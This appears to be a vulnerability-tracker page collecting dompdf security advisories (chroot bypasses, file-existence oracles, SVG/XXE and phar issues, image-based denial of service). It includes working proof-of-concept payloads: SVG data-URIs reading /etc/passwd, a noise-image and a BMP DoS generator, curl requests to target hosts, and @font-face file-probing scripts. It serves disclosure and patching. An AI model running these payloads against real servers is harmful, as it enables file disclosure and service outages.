Where
-Infinity
0

Vendor Risk Score

See how dompdf project compares to other vendors in security performance

View Risk Score →
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.

Details Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.

[Wed May 20 19:49:53 2026] PHP Warning: filegetcontents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173 [Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196

PoC

First, the attacker renders this HTML document: <html> <head> </head> <body> <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo="> Hello World! </body> </html>

The <img> tag contains the following SVG content: xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100"> </svg>

As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" />

However, when supplying a path to a file or directory that does not exist, for example: xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100"> </svg>

The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:

<img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" />

Impact By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).

While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.

Technical Deep Dive: Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to: - 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream. - Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.

Details The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.

PoC (Proof of Concept) 1. Install Dompdf v3.1.5 via Composer. composer require dompdf/dompdf:3.1.5 2. Use the following Python script to generate the malicious payload (exploit.py): python from PIL import Image import base64 from io import BytesIO import os

DIMENSIONS = (30000, 30000) OUTPUTFILE = "payload.html"

def generatenoisebomb(): print(f"[] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...") randombytes = os.urandom(DIMENSIONS[0] DIMENSIONS[1]) image = Image.frombytes('L', DIMENSIONS, randombytes) buffer = BytesIO() # Using PNG instead of JPEG to force full bitmap decompression in memory image.save(buffer, format="PNG") imagebase64 = base64.b64encode(buffer.getvalue()).decode()

htmlcontent = f""" <html> <body> <div style="overflow:hidden; width:1px; height:1px;"> <img src="data:image/png;base64,{imagebase64}"> </div> <h1>PoC: Resource Exhaustion</h1> </body> </html> """ with open(OUTPUTFILE, "w") as f: f.write(htmlcontent) print(f"[+] High-entropy payload saved to: {OUTPUTFILE}")

if name == "main": generatenoisebomb() 3. Use the following Python script to monitor the system resources in a separate terminal (monitor.py): python import psutil import time

def startmonitoring(): print("[] Searching for PHP processes... (Press Ctrl+C to stop)") try: while True: for proc in psutil.processiter(['pid', 'name', 'memoryinfo', 'cpupercent']): if 'php' in proc.info['name'].lower(): try: pid = proc.info['pid'] mem = proc.info['memoryinfo'].rss / (1024 1024) cpu = proc.cpupercent(interval=0.1) print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True) except (psutil.NoSuchProcess, psutil.AccessDenied): print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.") return time.sleep(0.05) except KeyboardInterrupt: print("\n[] Monitoring finished.")

if name == "main": startmonitoring()

4. Create a file named render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library: php <?php requireonce DIR . '/vendor/autoload.php'; use Dompdf\Dompdf; use Dompdf\Options;

$options = new Options(); $options->set('isRemoteEnabled', true); $options->set('isHtml5ParserEnabled', true);

$dompdf = new Dompdf($options);

$html = filegetcontents('php://stdin');

echo "[] Starting Dompdf rendering process...\n";

try { $dompdf->loadHtml($html); $dompdf->render(); // Point of resource exhaustion echo "[+] PDF rendered successfully.\n"; } catch (Exception $e) { echo "[!] Render failed: " . $e->getMessage() . "\n"; } 5. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration: php -d memorylimit=2G render.php < payload.html 6. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.

Proof of Concept Results

https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b

The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.

Payload Generation: python3 exploit.py [] Generating 30000x30000 High-Entropy Noise Bomb... [+] High-entropy payload saved to: payload.html

Target Execution & Denial of Service:

Command execution php -d memorylimit=2G render.php < payload.html

Output [] Starting Dompdf rendering process... PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdfexploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490 While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources: python3 monitor.py [] Searching for PHP processes... (Press Ctrl+C to stop) [MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%

Key Findings from Telemetry: - CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core. - Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error. - Bypass Confirmation: The telemetry proves that Dompdf's internal "safe" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.

Impact An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.

Credits - Offensive Security Researcher: Fabian Rosales (far00t01).

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.

Details Root cause The image is processed based on declared dimensions and type alone — no pixel budget: php // src/Image/Cache.php:131-134 list($width, $height, $type) = Helpers::dompdfgetimagesize($resolvedurl, $options->getHttpContext()); if (($width && $height && inarray($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) { throw new ImageException("Image type unknown", EWARNING); } For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields: php // src/Helpers.php:833-837 if (substr($data, 0, 2) === "BM") { $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data); $width = (int) $meta["width"]; $height = (int) $meta["height"]; $type = "bmp"; } At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists: php // src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2 if (functionexists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) { return $im; } // src/Helpers.php:940 — hand-rolled fallback $im = imagecreatetruecolor($meta['width'], $meta['height']); There is no maximum width/height or maximum total-pixel guard anywhere on this path. Source-to-sink 1. Attacker HTML reaches Dompdf::loadHtml() with <img src="data:image/bmp;base64,…"> (or any BMP src). 2. Dompdf::render() decorates frames; Frame\Factory marks <img> as an image; FrameDecorator\Image calls Image\Cache::resolveurl(). 3. Image\Cache::resolveurl() accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134). 4. During render, Adapter\CPDF::image() identifies the BMP and calls converttopng() (src/Adapter/CPDF.php:593). 5. converttopng() invokes Helpers::imagecreatefrombmp(), which allocates the full canvas — via the native imagecreatefrombmp() on PHP ≥ 7.2, or the hand-rolled imagecreatetruecolor() fallback otherwise.

PoC erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled. The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes: <html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html> (The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.) 1 — Direct conversion native imagecreatefrombmp exists: yes dompdfgetimagesize => 6000x6000 type=bmp imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file) Maximum resident set size: 160 MB (10x10 control: 24 MB) phppeak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memorylimit does NOT cap it The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memorylimit does not bound it. 2 — Full Dompdf::render() declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB 3 — HTTP reproduction (curl / Burp) Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch. curl: bash curl -s -X POST "https://TARGET/render" \ --data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \ -o /dev/null -w 'http=%{httpcode} time=%{timetotal}s\n' Burp Repeater (enable "Update Content-Length"): POST /render HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: text/html Connection: close <html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html> Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request): [ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s [CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).

Impact A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memorylimit does not contain it.

Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
Input Validation, Path Traversal
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration. Exploitation conditions: An external user Researcher: Nikita Sveshnikov (Positive Technologies)

Research dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):

Listing 1. chroot settings $rootDir = realpath(DIR . "/../"); $this->setChroot(array($rootDir)); // result: chroot = ["/path/to/vendor/dompdf/dompdf"] When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:

Listing 2. Blocking link <!-- BLOCKED: /tmp/ is outside chroot --> <img src="file:///tmp/secret.png"> How the protection is bypassed: An attacker wraps the link to the target file in SVG format and delivers it via data: URI:

Listing 3. Wrapping link in SVG <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i..."> Inside the base64 payload is an SVG containing the <image> element that points to the target file:

Listing 4. Pointing to the target file <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415"> <image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/> </svg> Why the bypass works: The issue is that dompdf handles the SVG twice: first through its own validator and then via  php-svg-lib — and the second pass does not apply the protection that the first pass does.

Step 1. The data:// protocol has no validation rules (Options.php:546-547):

Listing 5. Lack of rules case "data://": break; // no rules

SVG content passes without any checks.

Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.

Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):

Listing 6. Passing the SVG $doc = new \Svg\Document(); $doc->allowExternalReferences = true; // forced $doc->loadFile($file); php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.

Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):

Listing 7. phar:// blocking if ($scheme === "phar" || ($this->document->allowExternalReferences === false && $scheme !== "data")) { return; } $this->document->getSurface()->drawImage($this->href, ...); Step 5. drawImage() invokes filegetcontents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):

Listing 8. filegetcontents() call $data = filegetcontents($image); // reads ANY path There is no chroot check. No protocol validation. The file is read and embedded into the PDF.

An example of exploitation: Listing 9. An example of a vulnerable code (html2pdf.php) requireonce DIR . '/vendor/autoload.php';

$dompdf = new Dompdf\Dompdf(); $dompdf->loadHtml($POST['html']); $dompdf->render(); $dompdf->stream('poc.pdf', ['Attachment' => false]);

Listing 10. An example attack on the vulnerable code $file = $GET['file'] ?? '/tmp/userfiles/user1/privateimage.png';

$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">' . '<image xlink:href="' . htmlspecialchars($file, ENTQUOTES) . '" x="0" y="0" width="589" height="415"/>' . '</svg>';

$html = '<html><body>' . '<img src="data:image/svg+xml;base64,' . base64encode($svg) . '">' . '</body></html>';

$url = 'http://example.com/html2pdf.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => httpbuildquery($data), 'ignoreerrors' => true, ], ]; $context = streamcontextcreate($options); $response = filegetcontents($url, false, $context);

Figure 1. The image was read successfully <img width="875" height="404" alt="image" src="https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2" />

Credits Nikita Sveshnikov (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Description

Dompdf is vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion.

The critical point of this flaw is the discrepancy in system behavior:

1. If the file exists: Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation. 2. If the file does NOT exist: The rendering engine fails quickly or ignores the import, and the memory limit is not reached.

This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of CHROOT restrictions.

Some factors impact the ability of attackers to exploit the vulnerability: - The attacker must be allowed to provide unrestricted and/or unsanitized HTML content. - System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error. - HTTP GET querystring or POST body must allow large data - Memory limits must be low enough that Dompdf can trigger an overflow - $dompdfshowwarnings when set to true can bump memory usage

---

Example Scenario

1. Vulnerable System

A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.

- Vulnerable Endpoint: http://example.com/index.php - Vulnerable Parameter: htmlinput (POST)

index.php simplified: $dompdf = new Dompdf(new Options()); $dompdf->loadHtml($POST['htmlinput']); $dompdf->render(); $dompdf->stream("document.pdf");

<img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" />

2. Attack Generation

The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.

- Attacker's Local Script (payloadgen.php):

PHP <?php

/ Usage: php exploit.php <filepath> <iterations> Example: php exploit.php /etc/passwd 5000 /

// Check if the file argument was provided if ($argc < 2) { echo "[-] Usage: php exploit.php <filetoread> [iterations]\n"; exit(1); }

$file = $argv[1]; $iterations = isset($argv[2]) ? (int)$argv[2] : 5000;

function generatepayload($file, $iterations) { $css = ""; $body = ""; // We use @font-face to trick the engine into attempting a local file read for ($i = 0; $i < $iterations; $i++) { $css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n"; $body .= "<span style=\"font-family:f{$i}\">.</span>"; } return "<html><head><style>{$css}</style></head><body>{$body}</body></html>"; }

// Output the payload to stdout for piping echo generatepayload($file, $iterations);

?>

3. Exploitation

The attacker pipes the malicious HTML into a curl request targeting the remote server:

php payloadgen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \

--data-urlencode "htmlinput@-" \

--output response.pdf

By analyzing the response.pdf file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.

Existent file: <img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" />

Non-existent file: <img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" />

Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.

---

Impact

Information Disclosure (File Oracle via Reflected HTML): In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., .env files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
Input Validation, Path Traversal
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/rootsecret/file.html when chroot is /var/www/root.

This allows attacker-controlled document paths/resources to bypass intended local file restrictions.

Details The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:

public function validateLocalUri(string $uri) { ... $realfile = realpath(strreplace("file://", "", $uri)); ... foreach ($dirs as $chrootPath) { $chrootPath = realpath($chrootPath); if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) { $chrootValid = true;

Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.

For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/wwwbackup, despite these being different directories.

PoC

With a directory structure similar to:

/home/dompdf/ |--> web/ |--> pdf.php |--> cat0.jpg |--> web-admin/ |--> cat1.jpg

And web-accessible Dompdf functionality similar to the following (poc.html):

<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; use Dompdf\Options;

$options = new Options(); $options->setChroot(['/home/dompdf/web/']); $dompdf = new Dompdf($options);

$dompdf->loadHtml($POST['html']); $dompdf->render(); $dompdf->stream(); ?>

A malicious actor can exploit the vulnerability with the following script:

$html = <<<HTML <!DOCTYPE html> <html> <body> <p>within chroot</p> <img src="/home/dompdf/web/cat0.jpg"> <p>outside of chroot</p> <img src="/home/dompdf/web-admin/cat1.jpg"> </body> </html> HTML;

$url = 'http://example.com/poc.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => httpbuildquery($data), 'ignoreerrors' => true, ], ]; $context = streamcontextcreate($options); $response = filegetcontents($url, false, $context);

When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.

Impact An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
XEE, SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An improper restriction of external entities (XXE) vulnerability in dompdf/dompdf's SVG parser allows for Server-Side Request Forgery (SSRF) and deserialization attacks. This issue affects all versions prior to 2.0.0. The vulnerability can be exploited even if the isRemoteEnabled option is set to false. It allows attackers to perform SSRF, disclose internal image files, and cause PHAR deserialization attacks.

First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary When parsing SVG images Dompdf performs an initial validation to ensure that paths within the SVG are allowed. One of the validations is that the SVG document does not reference itself. However, a recursive chained using two or more SVG documents is not correctly validated. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.

Details php-svg-lib, when run in isolation, does not support SVG references for image elements. An SVG document can, however, be referenced and Dompdf will run that reference through the same validation. Dompdf currently includes validation to prevent self-referential image references, but a chained reference is not checked. A malicious actor may thus trigger infinite recursion in the validation process by chaining references between two or more SVG images.

PoC

This following sources can be used to bypass validation provided by Dompdf:

recurse.html <img src="one.svg">

one.svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <image href="two.svg" /> </svg>

two.svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <image href="one.svg" /> </svg>

Impact

When Dompdf parses the above payload, it will crash due after exceeding the allowed execution time or memory usage. An attacker sending multiple request to a system can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.

1 / 2
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

[Unknown description]

1 / 4
Source: Ubuntu
First published (updated )
Severity
10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Dompdf is an HTML to PDF converter written in php. Due to the difference in the attribute parser of Dompdf and php-svg-lib, an attacker can still call arbitrary URLs with arbitrary protocols. Dompdf parses the href attribute of image tags and respects xlink:href even if href is specified. However, php-svg-lib, which is later used to parse the svg file, parses the href attribute. Since href is respected if both xlink:href and href is specified, it's possible to bypass the protection on the Dompdf side by providing an empty xlink:href attribute. An attacker can exploit the vulnerability to call arbitrary URLs with arbitrary protocols if they provide an SVG file to the Dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, which will lead, at the very least, to arbitrary file deletion and might lead to remote code execution, depending on available classes. This vulnerability has been addressed in commit 95009ea98 which has been included in release version 2.0.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.

First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H

Summary The URI validation on dompdf 2.0.1 can be bypassed on SVG parsing by passing <image> tags with uppercase letters. This might leads to arbitrary object unserialize on PHP < 8, through the phar URL wrapper.

Details The bug occurs during SVG parsing of <image> tags, in src/Image/Cache.php :

if ($type === "svg") { $parser = xmlparsercreate("utf-8"); xmlparsersetoption($parser, XMLOPTIONCASEFOLDING, false); xmlsetelementhandler( $parser, function ($parser, $name, $attributes) use ($options, $parsedurl, $fullurl) { if ($name === "image") { $attributes = arraychangekeycase($attributes, CASELOWER); This part will try to detect <image> tags in SVG, and will take the href to validate it against the protocolAllowed whitelist. However, the $name comparison with "image" is case sensitive, which means that such a tag in the SVG will pass :

<svg> <Image xlink:href="phar:///foo"></Image> </svg>

As the tag is named "Image" and not "image", it will not pass the condition to trigger the check.

A correct solution would be to strtolower the $name before the check :

if (strtolower($name) === "image") {

PoC Parsing the following SVG file is sufficient to reproduce the vulnerability :

<svg> <Image xlink:href="phar:///foo"></Image> </svg>

Impact An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can provide a SVG file to dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

1 / 3
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

registerFont in FontMetrics.php in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a @font-face rule.

1 / 3
First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

External Control of File Name or Path in GitHub repository dompdf/dompdf prior to 2.0.0.

1 / 2
